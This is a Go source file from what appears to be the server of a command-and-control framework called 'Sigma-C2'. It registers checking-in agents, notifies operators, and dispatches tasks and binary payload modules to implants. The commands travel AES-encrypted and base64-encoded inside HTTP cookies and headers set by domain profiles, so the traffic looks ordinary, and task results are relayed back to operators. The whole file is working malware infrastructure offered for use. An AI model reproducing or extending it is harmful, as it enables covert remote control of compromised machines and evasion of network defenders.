Sigma-C2/server/task_dispatcher.go

package main

import (
	"encoding/base64"
	"fmt"
	"log"
	"net/http"
	"strconv"
	"time"
)

func HandleHeartbeatHTTP(agentID string, w http.ResponseWriter, r *http.Request, profile DomainProfile) {
	// Update or create the agent entry directly
	newInfo := &AgentInfo{
		RemoteIP:       r.RemoteAddr,
		LastConnection: time.Now(),
	}

	if _, exists := GetAgent(agentID); !exists {
		logMessage := fmt.Sprintf("[+] New agent checked-in: %s", agentID)
		log.Print(logMessage)
		SendMessageToAllOperators(logMessage)
	}

	UpdateAgent(agentID, newInfo)

	// Check if there's a task for the agent
	task := taskHandler.GetNextTask(agentID)
	if task != nil {
		log.Printf("There is a task for agent %s", agentID)
		SendTaskHTTP(agentID, task, w, r, profile)
	} else {
		log.Printf("No task for agent %s", agentID)
		SendAckHTTP(agentID, w, r, profile)
	}
}

// Send task or module to http agent
func SendTaskHTTP(agentID string, task *Task, w http.ResponseWriter, r *http.Request, profile DomainProfile) {
	var taskMessage string

	// If there is a payload - we are sending a module, this required special handling
	// For http agents, we embed task message into cookie, while payload is sent in body
	if task.Payload != nil {
		log.Printf("Task has a payload, preparing task message")

		// Set command header based on domain profile
		w.Header().Set(profile.CommandHeader, profile.CommandHeaderValue)

		// taskMessage = fmt.Sprintf("777~%s~%s~%s~%d", task.TaskID, task.Type, task.Args, len(task.Payload))
		taskMessage = fmt.Sprintf("777~%s~%s~%s~", task.TaskID, task.Type, task.Args)
		log.Printf("Task message: %s", taskMessage)

		// Encrypt task message
		encryptedMessage, _ := encryptAES128CTR([]byte(taskMessage), key, key)

		// Encode into base64, so cookies accept it
		encodedMessage := base64.StdEncoding.EncodeToString(encryptedMessage)

		// Embed task in domain-specific cookie
		// log.Printf("Embeding task \"%s\" into cookie \"%s\"\n", taskMessage, profile.CommandCookie)
		log.Printf("Embeding encrypted task \"%s\" into cookie \"%s\"\n", encodedMessage, profile.CommandCookie)

		http.SetCookie(w, &http.Cookie{
			Name:    profile.CommandCookie,
			Value:   encodedMessage,
			Path:    "/",
			Expires: time.Now().Add(24 * time.Hour),
		})
		// Send binary payload in body
		log.Printf("Writing payload to response body")
		w.Header().Set("Content-Type", "application/octet-stream")
		w.Write(task.Payload) // Now this will actually be sent
		log.Printf("Sent task to agent %s: %s %s", agentID, task.Type, task.Args)

	} else {
		// Send usual task
		log.Printf("Preparing usual task for agent %s", agentID)

		// Set command header based on domain profile
		w.Header().Set(profile.CommandHeader, profile.CommandHeaderValue)

		taskMessage = fmt.Sprintf("777~%s~%s~%s", task.TaskID, task.Type, task.Args)
		log.Printf("Task message: %s", taskMessage)

		// Encrypt task message
		encryptedMessage, _ := encryptAES128CTR([]byte(taskMessage), key, key)

		// Encode into base64, so cookies accept it
		encodedMessage := base64.StdEncoding.EncodeToString(encryptedMessage)

		log.Printf("Encoded encrypted message: %s", encodedMessage)

		// Embed task in domain-specific cookie
		// log.Printf("Embeding task \"%s\" into cookie \"%s\"\n", taskMessage, profile.CommandCookie)
		log.Printf("Embeding encrypted task \"%s\" into cookie \"%s\"\n", encodedMessage, profile.CommandCookie)
		http.SetCookie(w, &http.Cookie{
			Name:    profile.CommandCookie,
			Value:   encodedMessage,
			Path:    "/",
			Expires: time.Now().Add(24 * time.Hour),
		})
		log.Printf("Task dispatched to agent %s at %s\n", agentID, r.RemoteAddr)
	}
}

// Send ACK message to http agent
func SendAckHTTP(agentID string, w http.ResponseWriter, r *http.Request, profile DomainProfile) {

	// Set command header based on domain profile
	w.Header().Set(profile.CommandHeader, profile.CommandHeaderValue)

	// Encrypt message
	encryptedMessage, _ := encryptAES128CTR([]byte("ACK"), key, key)

	// Encode into base64, so cookies accept it
	encodedMessage := base64.StdEncoding.EncodeToString(encryptedMessage)

	// If no task, send ACK
	log.Printf("Sending ACK to agent\n")
	http.SetCookie(w, &http.Cookie{
		Name:    profile.CommandCookie,
		Value:   encodedMessage,
		Path:    "/",
		Expires: time.Now().Add(24 * time.Hour),
	})

	log.Printf("Acknowledged agent %s", agentID)
}

// Parses task result message and appends message based on result code
func HandleTaskResult(agentID string, result string, taskID string) {
	// Try to interpret the result as an error/success code
	if code, err := strconv.Atoi(result); err == nil {
		if desc, found := Codes[code]; found {
			result = fmt.Sprintf("%d (%s)", code, desc)
		}
	}

	// Prepare task result message for operator
	message := "TASK_RESULT: " + agentID + ": " + result

	// Report to operator
	operatorConn, exists := taskHandler.GetOperatorConnByTaskID(agentID, taskID)
	if exists {
		log.Printf("Operator exists, sending task result to operator")
		operatorConn.Write([]byte(message))
	}

	// Remove task from list
	taskHandler.MarkTaskComplete(agentID, taskID, true)
}